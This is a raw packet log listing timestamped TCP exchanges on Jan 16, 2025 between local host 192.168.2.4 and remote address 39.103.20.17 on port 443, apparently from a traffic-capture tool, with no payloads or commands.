Jan 16, 2025 03:54:27.616597891 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616672993 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616733074 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616770983 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616842031 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616875887 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.616941929 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.616982937 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617037058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617083073 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617141962 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617178917 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617240906 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617280960 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617376089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617377996 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617402077 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617433071 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617455959 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617501020 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617552996 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617599010 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617666006 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617698908 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617748022 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617799044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617861986 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.617904902 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.617968082 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618007898 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618067026 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618108988 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618160963 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618227005 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618278980 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618284941 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618299007 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618323088 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618369102 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618371010 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618371010 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618371010 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618407965 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618428946 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618444920 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618444920 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618460894 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618484020 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618483067 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618537903 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618537903 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618539095 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618560076 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618614912 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618619919 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618619919 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618638992 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618662119 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618665934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618697882 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618716002 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618736982 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618741035 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618766069 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618781090 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618802071 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618804932 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618854046 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618860006 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618860960 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618874073 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618901014 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618902922 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618921995 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618932962 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618953943 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.618963003 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618984938 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.618999958 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619018078 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619021893 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619057894 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619074106 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619096041 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619097948 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619153023 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619155884 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619165897 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619204044 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619214058 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619227886 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619252920 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619256020 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619275093 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619286060 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619308949 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619333029 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619333029 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619349957 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619374037 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619378090 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619400978 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619415998 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619436026 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619438887 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619488955 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619491100 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619503021 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619540930 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619549990 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619576931 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619594097 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619616985 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619627953 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619647980 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619661093 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619682074 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619684935 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619723082 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619734049 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619755983 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619759083 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619808912 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619810104 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619822979 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619859934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619868040 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619880915 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619915962 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619935036 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619939089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619949102 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.619981050 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.619998932 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620002985 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620012999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620052099 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620074034 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620075941 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620090008 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620124102 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620142937 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620145082 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620161057 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620193005 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620206118 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620210886 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620223045 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620250940 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620264053 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620273113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620281935 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620316982 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620326042 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620336056 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620347023 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620373964 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620394945 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620414972 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620419979 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620430946 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620440960 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620471954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620486975 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620537043 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620553970 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620609045 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620610952 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620624065 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620657921 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620671034 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620675087 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620688915 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620721102 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620738983 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620739937 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620752096 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620790005 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620798111 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620799065 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620815039 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620842934 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620846987 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620862007 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620872974 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620897055 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620898008 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620913029 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620923996 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620949030 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620960951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.620969057 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.620980024 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621011972 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621011019 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621031046 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621042013 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621068954 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621068954 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621088982 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621099949 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621126890 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621134996 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621148109 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621159077 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621186018 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621187925 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621201038 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621212959 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621237040 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621239901 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621256113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621265888 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621292114 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621298075 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621342897 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621342897 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621357918 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621361971 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621383905 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621404886 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621417999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621431112 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621465921 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621475935 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621480942 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621493101 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621524096 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621542931 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621542931 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621560097 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621597052 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621612072 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621620893 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621633053 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621659040 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621661901 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621680021 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621690989 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621712923 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621716976 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621757030 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621757984 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621769905 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621804953 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621809959 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621823072 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621850967 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621850967 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621870041 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621881008 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621905088 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621908903 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621958017 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.621958017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.621970892 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622004032 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622008085 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622021914 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622031927 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622054100 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622057915 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622085094 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622101068 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622122049 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622124910 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622162104 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622165918 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622175932 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622210026 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622212887 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622231007 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622242928 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622267962 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622272968 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622284889 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622296095 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622327089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622333050 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622344017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622354031 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622395039 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622409105 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622415066 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622423887 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622458935 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622477055 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622482061 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622493029 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622524023 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622540951 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622541904 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622555017 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622589111 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622606993 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622611046 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622620106 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622651100 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622663975 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622672081 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622683048 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622713089 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622714043 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622730017 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622741938 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622769117 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622773886 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622808933 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622819901 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622843027 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622847080 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622896910 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622905970 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622920036 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622946024 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622947931 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622963905 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.622973919 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622997999 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.622999907 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623043060 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623047113 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623060942 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623085976 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623087883 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623100996 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623111963 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623141050 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623141050 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623157024 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623167992 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623193979 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623197079 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623209000 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623219967 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623249054 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623266935 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623270988 CET	49743	443	192.168.2.4	39.103.20.17
Jan 16, 2025 03:54:27.623281956 CET	443	49743	39.103.20.17	192.168.2.4
Jan 16, 2025 03:54:27.623334885 CET	49743	443	192.168.2.4	39.103.20.17
